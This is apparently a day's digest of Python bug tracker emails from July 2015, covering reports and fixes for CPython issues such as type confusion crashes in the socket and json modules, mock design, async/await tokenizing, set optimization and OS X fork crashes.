# 0xb77a6d4c in __kernel_vsyscall ()
# 
# "host" argument can be set to a subclass of unicode with a custom "encode" 
# method. "encode" returns unexpected type. assert is not compiled in release
# mode, so this will lead to a type confusion later on.

----------
files: poc_getaddr.py
messages: 247094
nosy: pkt
priority: normal
severity: normal
status: open
title: Type confusion in socket module
type: crash
versions: Python 3.5
Added file: http://bugs.python.org/file39974/poc_getaddr.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 09:22:11 2015
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 22 Jul 2015 07:22:11 +0000
Subject: [issue24683] Type confusion in json encoding
In-Reply-To: <1437548518.74.0.524291765031.issue24683@psf.upfronthosting.co.za>
Message-ID: <1437549731.08.0.164028003136.issue24683@psf.upfronthosting.co.za>


STINNER Victor added the comment:

I don't understand the issue. Can you elaborate?

What is your code? What is the current result? What is the expected result? What is your platform? What is your Python version? etc.

----------
nosy: +haypo

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 09:23:37 2015
From: report at bugs.python.org (Ezio Melotti)
Date: Wed, 22 Jul 2015 07:23:37 +0000
Subject: [issue24682] Add Quick Start: Communications section to devguide
In-Reply-To: <1437540333.82.0.609056038167.issue24682@psf.upfronthosting.co.za>
Message-ID: <1437549817.66.0.0510172833426.issue24682@psf.upfronthosting.co.za>


Ezio Melotti added the comment:

I would also like to see a short section (perhaps in the form of a FAQ) that could be linked whenever someone asks for Python help on python-dev/python-ideas, or proposes an idea on python-dev, or "misuses" the lists in a similar fashion.
These could then be linked with a short message such as "Python-dev is about the development of CPython, not for general Python help. See devguide/communication.html#faq-asking-for-general-python-help".
As for the "Quick Start" I'm not exactly sure what you want to put in it, but I'm not sure whether it should be added alongside the main quick start and if it should be called a quick start (I don't think people ask themselves "I want to communicate, where do I start?").
I think expanding /devguide/communication.html (and/or devguide/help.html), adding a list of guidelines at the top and description/faqs of the MLs should be enough.  A link in the main page (perhaps even in the "coding" quick start) could also be added.

----------
stage:  -> needs patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 09:28:05 2015
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 22 Jul 2015 07:28:05 +0000
Subject: [issue24684] socket.getaddrinfo(host) doesn't ensure that
 host.encode() returns a byte string
In-Reply-To: <1437548572.03.0.160792945123.issue24684@psf.upfronthosting.co.za>
Message-ID: <1437550085.95.0.637896375978.issue24684@psf.upfronthosting.co.za>


STINNER Victor added the comment:

5513	        idna = _PyObject_CallMethodId(hobj, &PyId_encode, "s", "idna");
5514	        if (!idna)
5515	            return NULL;
5516	        assert(PyBytes_Check(idna));

The assertion fails because the custom string type in poc_getaddr.py returns an integer, not a byte string.

IMHO we should call PyUnicode_AsEncodedObject() instead of calling the encode() method.

----------
nosy: +haypo
title: Type confusion in socket module -> socket.getaddrinfo(host) doesn't ensure that host.encode() returns a byte string
versions: +Python 3.4, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 09:28:17 2015
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 22 Jul 2015 07:28:17 +0000
Subject: [issue24684] socket.getaddrinfo(host) doesn't ensure that
 host.encode() returns a byte string
In-Reply-To: <1437548572.03.0.160792945123.issue24684@psf.upfronthosting.co.za>
Message-ID: <1437550097.03.0.0224772360245.issue24684@psf.upfronthosting.co.za>


STINNER Victor added the comment:

@paul: are you fuzzing Python?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 09:29:45 2015
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 22 Jul 2015 07:29:45 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437550185.14.0.515347848226.issue24681@psf.upfronthosting.co.za>


STINNER Victor added the comment:

Since it looks like an optimization, can you please provide a benchmark?

----------
nosy: +haypo

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 10:48:34 2015
From: report at bugs.python.org (paul)
Date: Wed, 22 Jul 2015 08:48:34 +0000
Subject: [issue24683] Type confusion in json encoding
In-Reply-To: <1437548518.74.0.524291765031.issue24683@psf.upfronthosting.co.za>
Message-ID: <1437554914.51.0.0992932611204.issue24683@psf.upfronthosting.co.za>


Changes by paul :


Added file: http://bugs.python.org/file39975/json_markers.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 10:49:03 2015
From: report at bugs.python.org (paul)
Date: Wed, 22 Jul 2015 08:49:03 +0000
Subject: [issue24683] Type confusion in json encoding
In-Reply-To: <1437548518.74.0.524291765031.issue24683@psf.upfronthosting.co.za>
Message-ID: <1437554943.75.0.538392108099.issue24683@psf.upfronthosting.co.za>


paul added the comment:

Sorry, I uploaded a test case.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 10:56:35 2015
From: report at bugs.python.org (paul)
Date: Wed, 22 Jul 2015 08:56:35 +0000
Subject: [issue24684] socket.getaddrinfo(host) doesn't ensure that
 host.encode() returns a byte string
In-Reply-To: <1437548572.03.0.160792945123.issue24684@psf.upfronthosting.co.za>
Message-ID: <1437555395.17.0.128171533743.issue24684@psf.upfronthosting.co.za>


paul added the comment:

@haypo:
I'd be happy to implement all my fuzzer ideas if my bugs were patched in a timely manner.

At this moment I have multiple bugs submitted over 2 months ago, which still aren't patched. Without patches, hackerone won't accept these issues, so my incentive to work on python is removed.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 11:18:17 2015
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Wed, 22 Jul 2015 09:18:17 +0000
Subject: [issue23883] __all__ lists are incomplete
In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za>
Message-ID: <1437556697.24.0.895338114334.issue23883@psf.upfronthosting.co.za>


Changes by Jacek Ko?odziej :


Added file: http://bugs.python.org/file39976/Issue23883_support_check__all__.v5.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 11:23:05 2015
From: report at bugs.python.org (=?utf-8?q?Jacek_Ko=C5=82odziej?=)
Date: Wed, 22 Jul 2015 09:23:05 +0000
Subject: [issue23883] __all__ lists are incomplete
In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za>
Message-ID: <1437556985.14.0.286139370454.issue23883@psf.upfronthosting.co.za>


Jacek Ko?odziej added the comment:

> raiseExecptions typo: Might be best to get the typo fixed first (maybe open a separate issue, since it should probably be fixed starting from the 3.4 branch).

Done in #24678 and commited in 83b45ea19d00 .

> Regarding OpcodeInfo, it is probably up to your judgement.

Then I'll leave it as it was - without OpcodeInfo in pickletools.__all__ . The test for it remains in the patch, though.

----------
Added file: http://bugs.python.org/file39977/Issue23883_all.v5.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 11:37:26 2015
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 22 Jul 2015 09:37:26 +0000
Subject: [issue23883] __all__ lists are incomplete
In-Reply-To: <1428423790.05.0.732881467443.issue23883@psf.upfronthosting.co.za>
Message-ID: <1437557846.61.0.639947844407.issue23883@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thank you all for your work and apologies for my lack of response.

I'm +1 on adding a check__all__ helper to test.support. But passing "self" to it feels a bit weird. Perhaps the assertCountEqual part could be moved outside of the helper. If Serhiy(and/or other people) are happy with the current API, I am happy too :)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 12:02:54 2015
From: report at bugs.python.org (Fabian)
Date: Wed, 22 Jul 2015 10:02:54 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437559374.31.0.474013365152.issue24667@psf.upfronthosting.co.za>


Fabian added the comment:

Oh sorry, I basically never need to install pywikibot anew so it's easy to forget but there is a submodule in scripts/i18n which needs to be cloned as well. With the following commands I could reproduce the error (and you don't even need to install requests and six):

  $ git clone --recursive  git at github.com:wikimedia/pywikibot-core.git test
  $ cd test/
  $ echo "mylang='en'" >> user-config.py
  $ echo "family='wikipedia'" >> user-config.py
  $ python setup.py test

With that you only need a network connection (as this error is in urllib3 I doubt it works without network connection) but you don't need any wiki account. If you want to test it with an account, execute ?generate_user_files.py? before. Just as a note I've activated write and write failure tests but without an account these tests should not be run anyway.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 12:22:34 2015
From: report at bugs.python.org (Michael Foord)
Date: Wed, 22 Jul 2015 10:22:34 +0000
Subject: [issue24651] Mock.assert* API is in user namespace
In-Reply-To: <1437119760.12.0.974021198911.issue24651@psf.upfronthosting.co.za>
Message-ID: <1437560554.09.0.518341243125.issue24651@psf.upfronthosting.co.za>


Michael Foord added the comment:

I'm not wild about this idea. The problem with the assert methods has *essentially* been solved now, so I'm not convinced of the need for this change (unless users really *need* to have their own mocked attributes like "assert_called_with" which I think is highly unlikely).

Part of the genius of mock was providing a flexible mock object that also encapsulated simple methods for introspecting/asserting how it has been used. Changing to require users to import/know about a whole host of separate functions doesn't feel like an improvement to me. That's aside from the whole "breaking people's code for no tangible benefit" issue.

I acknowledge that other people, Carl for example, have different opinions - but from talking to many, many mock users over the years I think that those with the philosophically purist approach are in a minority to those who appreciate the more practical approach that mock takes.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 12:38:47 2015
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 22 Jul 2015 10:38:47 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <20150722103843.51998.60577@psf.io>


Roundup Robot added the comment:

New changeset 9da080ecadb2 by Yury Selivanov in branch '3.5':
Issue #24619: New approach for tokenizing async/await.
https://hg.python.org/cpython/rev/9da080ecadb2

New changeset 987b72921a0c by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24619)
https://hg.python.org/cpython/rev/987b72921a0c

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 12:40:43 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 10:40:43 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437561643.6.0.0540992860856.issue24619@psf.upfronthosting.co.za>


Yury Selivanov added the comment:

Thanks Nick!  I've committed the patch with a few more unittests and a couple of additional comments in tokenizer.(c|h).

----------
resolution:  -> fixed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 12:43:51 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 10:43:51 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437561831.1.0.960056133742.issue24619@psf.upfronthosting.co.za>


Changes by Yury Selivanov :


----------
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 12:43:58 2015
From: report at bugs.python.org (Yury Selivanov)
Date: Wed, 22 Jul 2015 10:43:58 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437561838.15.0.5186826948.issue24619@psf.upfronthosting.co.za>


Changes by Yury Selivanov :


----------
stage: patch review -> resolved

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 12:45:56 2015
From: report at bugs.python.org (Romain Dossin)
Date: Wed, 22 Jul 2015 10:45:56 +0000
Subject: [issue22140] "python-config --includes" returns a wrong path (double
 prefix)
In-Reply-To: <1407245312.64.0.904100539745.issue22140@psf.upfronthosting.co.za>
Message-ID: <1437561956.29.0.412901669899.issue22140@psf.upfronthosting.co.za>


Romain Dossin added the comment:

I stumbled across the exact same problem and I have made a fix that is working, at least for the usage I have...

----------
nosy: +rdossin
Added file: http://bugs.python.org/file39978/patch_python_sym_links.txt

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 13:11:34 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 22 Jul 2015 11:11:34 +0000
Subject: [issue24683] Type confusion in json encoding
In-Reply-To: <1437548518.74.0.524291765031.issue24683@psf.upfronthosting.co.za>
Message-ID: <1437563494.92.0.263048574426.issue24683@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
assignee:  -> serhiy.storchaka
components: +Extension Modules
nosy: +serhiy.storchaka
stage:  -> needs patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 13:33:24 2015
From: report at bugs.python.org (Raymond Hettinger)
Date: Wed, 22 Jul 2015 11:33:24 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437564804.05.0.209182910493.issue24681@psf.upfronthosting.co.za>


Raymond Hettinger added the comment:

You can benchmark if you want.  I'm looking for a second pair of eyes to validate the correctness.  My goal is to put the tests and assignments in the most logical order.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 13:49:24 2015
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 22 Jul 2015 11:49:24 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <20150722114921.3161.16066@psf.io>


Roundup Robot added the comment:

New changeset e4e01488afff by Yury Selivanov in branch '3.5':
Issue #24619: More tests; fix nits in compiler.c
https://hg.python.org/cpython/rev/e4e01488afff

New changeset 6f4e0c462daf by Yury Selivanov in branch 'default':
Merge 3.5 (Issue #24619)
https://hg.python.org/cpython/rev/6f4e0c462daf

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 13:51:45 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Wed, 22 Jul 2015 11:51:45 +0000
Subject: [issue24683] Type confusion in json encoding
In-Reply-To: <1437548518.74.0.524291765031.issue24683@psf.upfronthosting.co.za>
Message-ID: <1437565905.13.0.24510299262.issue24683@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

In encoder_init (the __init__ for _json.Encoder) s->marker is set to an argument of __init__, without any kind of type check, it can therefore be an arbitrary object.

encoder_listencode_obj (and other functions) then use s->markers with the concrete API for dicts (such as PyDict_Contains). 

PyDict_Contains does not perform a type check, but casts its first argument to a PyDictObject and access fields. That causes problems when the marker isn't actually a dict.

I don't know the module good enough to be 100% sure about a fix, but I think it would be best to add a type check to encoder_init. 

BTW. As far as I know _json.make_encoder is a private API and shouldn't be used directly, when you use the public API the argument will always be a dict.

----------
nosy: +ronaldoussoren

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 14:10:27 2015
From: report at bugs.python.org (Fabian)
Date: Wed, 22 Jul 2015 12:10:27 +0000
Subject: [issue24667] OrderedDict.popitem()/__str__() raises KeyError
In-Reply-To: <1437302438.28.0.708733032475.issue24667@psf.upfronthosting.co.za>
Message-ID: <1437567027.83.0.262126734055.issue24667@psf.upfronthosting.co.za>


Fabian added the comment:

Just as a note to the tests: You may not get the issues with OrderedDict as a failure/error at the end of the test suite. And you may (depending on the version) get a few errors because NoUsername was raised. That is unrelated to this issue and can be fixed by using a version after 6255530f has been merged.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 14:20:43 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Wed, 22 Jul 2015 12:20:43 +0000
Subject: [issue24646] Python accepts SSL certificate that should be rejected
 on OSX
In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za>
Message-ID: <1437567643.72.0.677364902802.issue24646@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

The attached program (which is pure C except for a call to NSLog) calls SecTrustCopyAnchorCertificates in a child process (and with a minor change the other function as well).

This doesn't crash for me. 

However, that doesn't really mean anything: We know from earlier bugreports that calling _scproxy._get_proxy_settings in a child process can crash, and that is something that only sporadicly happens for me (I cannot reproduce it with a trivial script).

Maybe this is something that was fixed in 10.10, but I'd be surprised at that (and that doesn't really help us as we support older OSX releases as well). I cannot test on other OSX releases at the moment, I'm at europython and don't have access to my test systems.

----------
Added file: http://bugs.python.org/file39979/ca-dump.m

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 14:41:31 2015
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 22 Jul 2015 12:41:31 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437568891.55.0.658453544962.issue24681@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> You can benchmark if you want.

No, you have to provide a benchmark if you want to modify the Python core to optimize it. Otherwise, modifying the code is pointless.

It's a general rule in Python to optimize code. We don't accept optimization changes if it has no effect on performances.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 15:18:11 2015
From: report at bugs.python.org (Carol Willing)
Date: Wed, 22 Jul 2015 13:18:11 +0000
Subject: [issue24682] Add Quick Start: Communications section to devguide
In-Reply-To: <1437540333.82.0.609056038167.issue24682@psf.upfronthosting.co.za>
Message-ID: <1437571091.13.0.977859570979.issue24682@psf.upfronthosting.co.za>


Carol Willing added the comment:

Ezio, thanks for the suggestions :D 

To clarify, the new Quick Start will be: 
- brief; 
- contain links to additional communication/community interaction info in the devguide; 
- guide a new contributor (or remind others) to information about ways to communicate effectively to maximize productivity as a contributor.

My goal with the new Quick Start is to give new developers simple steps to onboard as constructive and productive contributors. Basically, key steps to onboarding such as: 1. mailing lists, 2. Issue tracker, 3. expectations, 4. questions.

After I take a close look at the entire devguide and related resources, I will upload a patch for the new Quick Start which should add clarity. We can iterate the patch as needed to make sure that the info is helpful and relevant for contributors.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 15:22:36 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 22 Jul 2015 13:22:36 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437571356.03.0.0128400375881.issue24681@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The patch changes behavior. With the patch it would be possible that after successful set.add(), the item will be not contained in the set. And this behavior is not consistent with dict behavior.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 15:29:23 2015
From: report at bugs.python.org (R. David Murray)
Date: Wed, 22 Jul 2015 13:29:23 +0000
Subject: [issue24681] Put most likely test first in set_add_entry()
In-Reply-To: <1437537709.86.0.0448680218566.issue24681@psf.upfronthosting.co.za>
Message-ID: <1437571763.81.0.635653700788.issue24681@psf.upfronthosting.co.za>


R. David Murray added the comment:

Victor, I'm hearing Raymond say that it isn't really about optimization, but about the logical organization of the code.  I think making things more *complicated* requires a benchmark justification, but it doesn't look to me like this change makes things more complicated (on the other hand I'm not *fluent* in C).

----------
nosy: +r.david.murray

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 15:51:51 2015
From: report at bugs.python.org (Cyd Haselton)
Date: Wed, 22 Jul 2015 13:51:51 +0000
Subject: [issue23496] Steps for Android Native Build of Python 3.4.2
In-Reply-To: <1424551617.0.0.291471450783.issue23496@psf.upfronthosting.co.za>
Message-ID: <1437573111.39.0.392919779466.issue23496@psf.upfronthosting.co.za>


Cyd Haselton added the comment:

UPDATE:
Build environment is up and running; cloning repo now.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 16:41:30 2015
From: report at bugs.python.org (Paul Koning)
Date: Wed, 22 Jul 2015 14:41:30 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437576090.82.0.148089834978.issue21750@psf.upfronthosting.co.za>


Paul Koning added the comment:

I suppose.  And it certainly is much better than the original behavior.  But if this is the approach chosen, it should be clearly called out  in the documentation, because the current wording suggests the 1.1.4 behavior, not the one you recommended.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 16:41:46 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 14:41:46 +0000
Subject: [issue6087] distutils.sysconfig.get_python_lib gives surprising
 result when used with a Python build
In-Reply-To: <1242995950.24.0.540152639281.issue6087@psf.upfronthosting.co.za>
Message-ID: <1437576106.98.0.3872157837.issue6087@psf.upfronthosting.co.za>


Robert Collins added the comment:

Moving this back to patch review since I'm 90% sure that the patch won't apply anymore (if I had a little more time I'd pull it down and double check) - but I've hit this myself and would totally commit it if updated.

----------
nosy: +rbcollins
stage: commit review -> patch review
versions: +Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 16:43:05 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 14:43:05 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437576185.55.0.30394919801.issue21750@psf.upfronthosting.co.za>


Robert Collins added the comment:

Which part of the docs specifically?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 16:45:16 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Wed, 22 Jul 2015 14:45:16 +0000
Subject: [issue24658] open().write() fails on 2 GB+ data (OS X)
In-Reply-To: <1437188368.42.0.0977367912313.issue24658@psf.upfronthosting.co.za>
Message-ID: <1437576316.32.0.971129585365.issue24658@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

Indeed, read(2) has the same problem. I just tested this with a small C program. 

I'll rework the patch for this, and will work on patches for 3.4/3.5 and 2.7 as well.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 16:47:28 2015
From: report at bugs.python.org (Stefan Krah)
Date: Wed, 22 Jul 2015 14:47:28 +0000
Subject: [issue24619] async/await parser issues
In-Reply-To: <1436726953.3.0.0167564142202.issue24619@psf.upfronthosting.co.za>
Message-ID: <1437576448.31.0.392187084251.issue24619@psf.upfronthosting.co.za>


Stefan Krah added the comment:

This is a very nice solution!

I'm just curious if the 'ctx' is still needed:  It looks like
the outermost "async def" dominates all further nested scopes
w.r.t the tokenizer mode, no matter whether they're "def" or
"async def" scopes.

IOW, a single indent_level variable that follows all INDENTs/DEDENTs
once the outermost "async def" scope is entered might be sufficient.


[This is in no way urgent, please do not feel obliged to respond
during your holiday.]

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 16:58:13 2015
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 22 Jul 2015 14:58:13 +0000
Subject: [issue8585] zipimporter.find_module is untested
In-Reply-To: <1272676536.77.0.29287206537.issue8585@psf.upfronthosting.co.za>
Message-ID: <20150722145805.13835.66140@psf.io>


Roundup Robot added the comment:

New changeset ef5c5a2bbd48 by Robert Collins in branch 'default':
Issue #8585: improved tests for zipimporter2. Patch from Mark Lawrence.
https://hg.python.org/cpython/rev/ef5c5a2bbd48

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 16:58:45 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Wed, 22 Jul 2015 14:58:45 +0000
Subject: [issue20585] urllib2 unrelease KQUEUE on Mac OSX 10.9+
In-Reply-To: <1392057963.63.0.832878598113.issue20585@psf.upfronthosting.co.za>
Message-ID: <1437577125.89.0.504350357894.issue20585@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

I don't think it is possible to fix this crash other than by removing the use of _scproxy (proxy autodection on OSX) completely.

Problem is that Apple's higher level APIs (such as those used in _scproxy) don't take the use-case of calling fork(2), but not exec(2), to create child processes into account. 

BTW. I'm against removing _scproxy because that makes platform integration worse.

I guess this should be documented somewhere, and possibly just in the documentation for os.fork() with a warning about not using just fork on OSX when there's any chance that some C extension you use calls into a higher level API.

BTW. I could reproduce the crash on 10.9, but failed to do so on 10.10 earlier today (but that might just mean I have to try harder...)

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 16:59:24 2015
From: report at bugs.python.org (Robert Collins)
Date: Wed, 22 Jul 2015 14:59:24 +0000
Subject: [issue8585] zipimporter.find_module is untested
In-Reply-To: <1272676536.77.0.29287206537.issue8585@psf.upfronthosting.co.za>
Message-ID: <1437577164.36.0.0233477761303.issue8585@psf.upfronthosting.co.za>


Robert Collins added the comment:

Applied to 3.6 only.

----------
nosy: +rbcollins
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 17:04:59 2015
From: report at bugs.python.org (Paul Koning)
Date: Wed, 22 Jul 2015 15:04:59 +0000
Subject: [issue21750] mock_open data is visible only once for the life of the
 class
In-Reply-To: <1402683289.16.0.550319898466.issue21750@psf.upfronthosting.co.za>
Message-ID: <1437577499.07.0.394489408182.issue21750@psf.upfronthosting.co.za>


Paul Koning added the comment:

Section 26.7.7 of the library manual describes mock_open with the words:

A helper function to create a mock to replace the use of open. It works for open called directly or used as a context manager.

which implies that it works just like open.  Given that it doesn't (not if you do two opens and use both streams concurrently) that difference should be called out as a difference, or limitation.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 17:08:06 2015
From: report at bugs.python.org (Ronald Oussoren)
Date: Wed, 22 Jul 2015 15:08:06 +0000
Subject: [issue9850] obsolete macpath module dangerously broken and should be
 removed
In-Reply-To: <1284441709.03.0.73507598284.issue9850@psf.upfronthosting.co.za>
Message-ID: <1437577686.1.0.915455420451.issue9850@psf.upfronthosting.co.za>


Ronald Oussoren added the comment:

I think it is by now safe to remove macpath, AFAIK there is no real use-case anymore for having classic MacOS9 paths on any recentish version of OSX.]

I'm setting the version to 3.6 because it is too late to do this for Python 3.5, but it can be done for 3.6.

----------
versions: +Python 3.6 -Python 3.5

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 17:44:36 2015
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 22 Jul 2015 15:44:36 +0000
Subject: [issue23440] Extend http.server.SimpleHTTPRequestHandler testing
In-Reply-To: <1423640571.78.0.653754704207.issue23440@psf.upfronthosting.co.za>
Message-ID: <1437579876.14.0.660031698707.issue23440@psf.upfronthosting.co.za>


Changes by Berker Peksag :


----------
assignee:  -> berker.peksag

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 17:54:37 2015
From: report at bugs.python.org (Wolfgang E. Sanyer)
Date: Wed, 22 Jul 2015 15:54:37 +0000
Subject: [issue24503] csv.writer fails when within csv.reader
In-Reply-To: <1435176315.93.0.429947665214.issue24503@psf.upfronthosting.co.za>
Message-ID: <1437580477.77.0.120151198911.issue24503@psf.upfronthosting.co.za>


Wolfgang E. Sanyer added the comment:

You can close this - it turns out that I was looping through the input file once first, and did not properly rewind it after doing so.

Might it make sense to have the csv module rewind the file after it has been looped through, so that it acts as a typical list?

----------
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 18:25:38 2015
From: report at bugs.python.org (Roundup Robot)
Date: Wed, 22 Jul 2015 16:25:38 +0000
Subject: [issue23440] Extend http.server.SimpleHTTPRequestHandler testing
In-Reply-To: <1423640571.78.0.653754704207.issue23440@psf.upfronthosting.co.za>
Message-ID: <20150722162534.8506.31000@psf.io>


Roundup Robot added the comment:

New changeset 267ea1731a91 by Berker Peksag in branch '3.5':
Issue #23440: Improve http.server.SimpleHTTPRequestHandler tests
https://hg.python.org/cpython/rev/267ea1731a91

New changeset 7999671dc991 by Berker Peksag in branch 'default':
Issue #23440: Improve http.server.SimpleHTTPRequestHandler tests
https://hg.python.org/cpython/rev/7999671dc991

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 18:28:23 2015
From: report at bugs.python.org (Berker Peksag)
Date: Wed, 22 Jul 2015 16:28:23 +0000
Subject: [issue23440] Extend http.server.SimpleHTTPRequestHandler testing
In-Reply-To: <1423640571.78.0.653754704207.issue23440@psf.upfronthosting.co.za>
Message-ID: <1437582503.54.0.837361678143.issue23440@psf.upfronthosting.co.za>


Berker Peksag added the comment:

Thanks Martin and Demian.

----------
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed
versions: +Python 3.6 -Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Wed Jul 22 18:34:30 2015
From: report at bugs.python.org (=?utf-8?b?0JDQu9C10LrRgdCw0L3QtNGAINCm0LDQvNGD0YLQsNC70Lg=?=)
Date: Wed, 22 Jul 2015 16:34:30 +0000
Subject: [issue5305] imaplib should support international mailbox names
In-Reply-To: <1234935371.11.0.35650041724.issue5305@psf.upfronthosting.co.za>
Message-ID: <1437582870.11.0.542110974695.issue5305@psf.upfronthosting.co.za>


Changes by ????????? ???????? :


----------
type:  -> enhancement

